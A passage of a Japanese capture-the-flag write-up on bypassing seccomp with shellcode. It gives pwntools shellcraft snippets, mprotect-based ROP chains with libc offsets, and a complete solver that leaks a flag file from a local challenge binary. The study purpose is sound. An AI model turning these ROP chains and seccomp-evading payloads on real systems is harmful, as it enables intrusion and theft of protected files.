mov rsi, 0x1000 ; 対象とするメモリサイズ
mov rdi, {target_addr}
mov r15, {mprotect_addr}
push r15
ret

テストのために、以下のスクリプトを使用します。

# Exploit
r = target.recvline_startswith(b"System:")
system_addr = int(r.decode().split(" ")[1],16)
r = target.recvline_startswith(b"binsh:")
binsh_addr = int(r.decode().split(" ")[1],16)

libc_base = system_addr - 0x50d70
mprotect_offset = 0x11eaa0
mprotect_addr = libc_base + 0x11eaa0

r = target.recvline()

shellcode = asm(
f"""mov rdx, 7
mov rsi, 0x1000
mov rdi, {0x555555554000}
mov r15, {mprotect_addr}
push r15
ret
""")
payload = shellcode
target.sendline(payload)

実際にこれを実行してみると、0x555555554000 から 0x1000 バイト分の領域に書き込みと実行権限が付与されることを確認できます。

image-20240627221454126

shellcraft で Shell Code を作成する

ここまでハンドメイドで Shell Code を作成してきましたが、pwntools の shellcraft を使用することで同様の Shell Code を生成することができます。

例えば、以下のコードを使用すると、getdents64 を使用したディレクトリ探索を行う Shell Code を簡単に生成できます。

from pwn import *

open_asm = shellcraft.linux.open("/tmp/", 0)
getdents64_asm = shellcraft.linux.getdents64("rax", "rsp", 0x1000)
write_asm = shellcraft.linux.write(1, "rsp", 0x1000)

shellcode = asm(f'''
{open_asm}
{getdents64_asm}
{write_asm}
''')

image-20240628001443875

また、ファイルの内容を読み取って出力する Shell Code についても、以下のスクリプトで作成できます。

from pwn import *

open_asm = shellcraft.linux.openat("/tmp/flag_in_tmp.txt", 0)
read_asm = shellcraft.linux.read("rax", "rsp", 20)
write_asm = shellcraft.linux.write(1, "rsp", 20)

shellcode = asm(f'''
{open_asm}
{read_asm}
{write_asm}
''')

image-20240628001908809

いずれもハンドメイドした Shell Code と同じような動作となっており、非常に簡単にペイロードを生成することができます。

この機能は非常に便利ですが、我々の目指す先はスクリプトキディではないので多用はしないようにしていこうと思います。

その他の Shell Code サンプル

  • openat、mmap、pwritev2 で seccomp フィルタを回避するコード(mmap の代わりに preadev2 を使用できる場合もある)
shellcode = shellcraft.pushstr("/home/user/flag.txt")
shellcode += shellcraft.openat(0, "rsp", 0)
shellcode += shellcraft.mmap(0, 0x1000, constants.PROT_READ, constants.MAP_PRIVATE, "rax", 0)
shellcode += shellcraft.push(0x100)
shellcode += shellcraft.push("rax")
shellcode += shellcraft.pwritev2(1, "rsp", 1, -1, 0)

code="""
lea rsi, [rip+filename]
mov rdi, 0
xor rdx, rdx
mov rax, 257
syscall

// mmap(addr=0, length=0x1000, prot=PROT_READ (1), flags=MAP_PRIVATE (2), fd='rax', offset=0)
push 2
pop r10
mov r8, rax
xor r9, r9
xor edi, edi
mov rdx, 1
mov rsi, 4096
push 9
pop rax
syscall

/* pwritev2(vararg_0=1, vararg_1='rsp', vararg_2=1, vararg_3=-1, vararg_4=0) */
push 0x100
push rax
mov r10, -1
xor r8, r8
mov rdi, 1
mov rsi, rsp
mov rdx, rdi
mov rax, 328
syscall

filename:
    .string "/home/user/flag.txt"
"""

参考:UIU CTF 2024

解法 1:ファイルデータを出力して Flag を取得する

seccomp の回避と Shell Code について整理できたところで、いよいよこの問題の Flag を取得していきます。

今回の問題バイナリの場合、Flag を取得するために必要なステップは以下の通りです。

seccomp によって execve と execveat が禁止されているので、Shell の取得ではなくファイルデータのリークを方針としています。

  1. /app/ctf4b/flag-$(md5sum /flag.txt | awk '{print $1}').txt に作成されている Flag の正しいファイル名を特定する。
  2. ファイルから Flag のテキストを取得して標準出力からリークさせる。

上記の 2 つのステップは、いずれもここまでに確認した Shell Code を組み合わせることで実現できます。

しかし、すべてのコードを ROP Chain で実行することはかなりの手間になるので、実行コードを Shell Code として埋め込み、mprotect を使用して実行可能権限を付与することでエクスプロイトを行うことにします。

mprotect でコードに実行権限を付与する

この問題では、getdents で Flag の書き込まれたファイル名を特定した後、read/write を使用して標準出力にファイル内のテキストを出力することで Flag を取得できます。

しかし、このような操作を行う Shell Code と対応する ROP Gadget を見つけて ROP Chain を構築するのは比較的難易度が高いです。

このような場合、ROP Chain を使用して任意の領域に実行権限を割り当て、その領域に対してペイロードを埋め込むことで ROP Chain ではなく、Shell Code をそのまま実行することができます。

今回は PIE が無効なので、Shell Code の書き込み先の領域の指定にはバイナリの仮想アドレスをそのまま利用できます。

.data セクションには seccomp のフィルタが埋め込まれていますが、エクスプロイトの時点では上書きしてしまっても問題ないので、今回は 0x404060 を含む領域をターゲットとします。

今回の問題バイナリで mprotect を使用して 0x404000 から 0x405000 の範囲に書き込みと実行権限を付与する ROP Chain は以下の通り構築できます。

system_addr = int(r.decode().split("\n")[0].split("@")[1],16)
libc_baseaddress = system_addr - 0x50d70
binsh_addr = libc_baseaddress + 0x1d8678
mprotect_addr = libc_baseaddress + 0x11eaa0

pop_rdx_r12_ret = libc_baseaddress + 0x13b649
pop_rdi_ret = libc_baseaddress + 0x1bbea1
pop_rsi_r15_ret = libc_baseaddress + 0x1bbe9f
ret = 0x4012fc

payload = flat(
    b"A"*0x10 + b"B"*8,
    pop_rdx_r12_ret,
    7,
    9999,
    pop_rsi_r15_ret,
    0x1000,
    9999,
    pop_rdi_ret,
    0x404000,
    mprotect_addr
)
target.sendline(payload)

このペイロードでは、以下の 3 つのレジスタを設定した後に mprotect を実行しています。

mov rdx, 7 ; R|W|X
mov rsi, 0x1000 ; 対象とするメモリサイズ
mov rdi, {target_addr}

この ROP Chain によって、0x404000 から 0x405000 の領域に書き込みと実行権限を割り当てることができます。

image-20240628210517901

任意のアドレスにペイロードを埋め込む

0x404000 から 0x405000 の領域に書き込みと実行権限を割り当てることができたので、次は Stack 領域ではなくこのアドレス空間に Shell Code を埋め込んでいきます。

手法としてはここまでに実践したものと同じく、read を使用して標準入力から受け取ったバイトデータの保存先を任意のアドレスに向ける方法を使用できます。

このような操作のため、先ほどの payload に以下の ROP Chain を連結します。

payload += flat(
    xor_rax_ret,
    pop_rdx_r12_ret,
    0x100,
    9999,
    pop_rsi_r15_ret,
    0x404060,
    9999,
    pop_rdi_ret,
    0,
    syscall_ret
)
target.sendline(payload)
target.send(b"A"*0x100)

このコードでは、以下の Shell Code と同等の処理を実装しています。

mov rdi, 0 ; fd を stdin に
mov rax, 0 ; read
mov rsi, 0x404060 ; 書き込み先
mov rdx, 0x100 ; 読み取りバイト数
syscall

実際にこのスクリプトを実行してみると、以下のように 0x404060 から始まるデータ領域が A で埋め尽くされることを確認できます。

image-20240628214614945

ちなみに、最後に追加している jmp_rsi は RSI レジスタが保持しているバッファのアドレスにそのままジャンプするために使用します。

image-20240628215127968

埋め込んだ Shell Code を実行する

ここまでに実践した内容を基に以下の Solver を作成しました。

これを実行すると Flag を取得することができます。

from pwn import *
import re

# Set context
context.arch = "amd64"
context.endian = "little"
context.word_size = 64

target = remote("localhost", 4567)

# Exploit
r = target.recvuntil(b"Name: ")

system_addr = int(r.decode().split("\n")[0].split("@")[1],16)
libc_baseaddress = system_addr - 0x50d70
binsh_addr = libc_baseaddress + 0x1d8678
mprotect_addr = libc_baseaddress + 0x11eaa0

pop_rdx_r12_ret = libc_baseaddress + 0x13b649
pop_rdi_ret = libc_baseaddress + 0x1bbea1
pop_rsi_r15_ret = libc_baseaddress + 0x1bbe9f
xor_rax_ret = libc_baseaddress + 0x1a46c0
syscall_ret = libc_baseaddress + 0x140e2b
jmp_rsi = libc_baseaddress + 0x14d1f9
ret = 0x4012fc

# memprotect ROP chain
payload = flat(
    b"A"*0x10 + b"B"*8,
    ret,
    pop_rdx_r12_ret,
    7,
    9999,
    pop_rsi_r15_ret,
    0x1000,
    9999,
    pop_rdi_ret,
    0x404000,
    mprotect_addr
)

# read ROP chain
payload += flat(
    xor_rax_ret,
    pop_rdx_r12_ret,
    0x100,
    9999,
    pop_rsi_r15_ret,
    0x404060,
    9999,
    pop_rdi_ret,
    0,
    syscall_ret,
    jmp_rsi
)
target.sendline(payload)

# execute shell code
open_asm = shellcraft.linux.open("/app/ctf4b/", 0)
getdents64_asm = shellcraft.linux.getdents64("rax", "rsp", 0x100)
write_asm = shellcraft.linux.write(1, "rsp", 0x100)

shellcode = asm(f"""
{open_asm}
{getdents64_asm}
{write_asm}
""")

read_asm = shellcraft.linux.read(0, 0x4040b9, 0x100)
shellcode += asm(f"""
{read_asm}
""")
target.send(shellcode + b"A"*(0x100-len(shellcode)))

target.recvline()
r = target.recv()
pattern = re.compile(rb"flag-[0-9a-z]{32}.txt")
file_name = pattern.findall(r)[0].decode()

open_asm = shellcraft.linux.open(f"/app/ctf4b/{file_name}", 0)
read_asm = shellcraft.linux.read("rax", "rsp", 30)
write_asm = shellcraft.linux.write(1, "rsp", 30)
shellcode = asm(f"""
{open_asm}
{read_asm}
{write_asm}
""")
target.send(shellcode + b"A"*(0x100-len(shellcode)))

with open("./payload","wb") as f:
    f.write(payload)

# Finish exploit
target.interactive()
target.clean()

image-20240628225954737

このコードの中では、0x404000 から始まる領域に書き込みと実行権限を付与した後、その領域に埋め込んだ Shell Code で/app/ctf4b 配下のファイルの列挙を行います。

さらに、特定した Flag のファイル名を含む Shell Code をもう一度入力から受け取り、これを実行することで Flag を取得しています。

まとめ

今回は seccomp の回避手法と Shell Code の基礎について学んだことをまとめてみました。

execve と execveat の制約を回避しつつエクスプロイトを行う解法は他にもありそうなので、今後別の解法も追記していきたいと思います。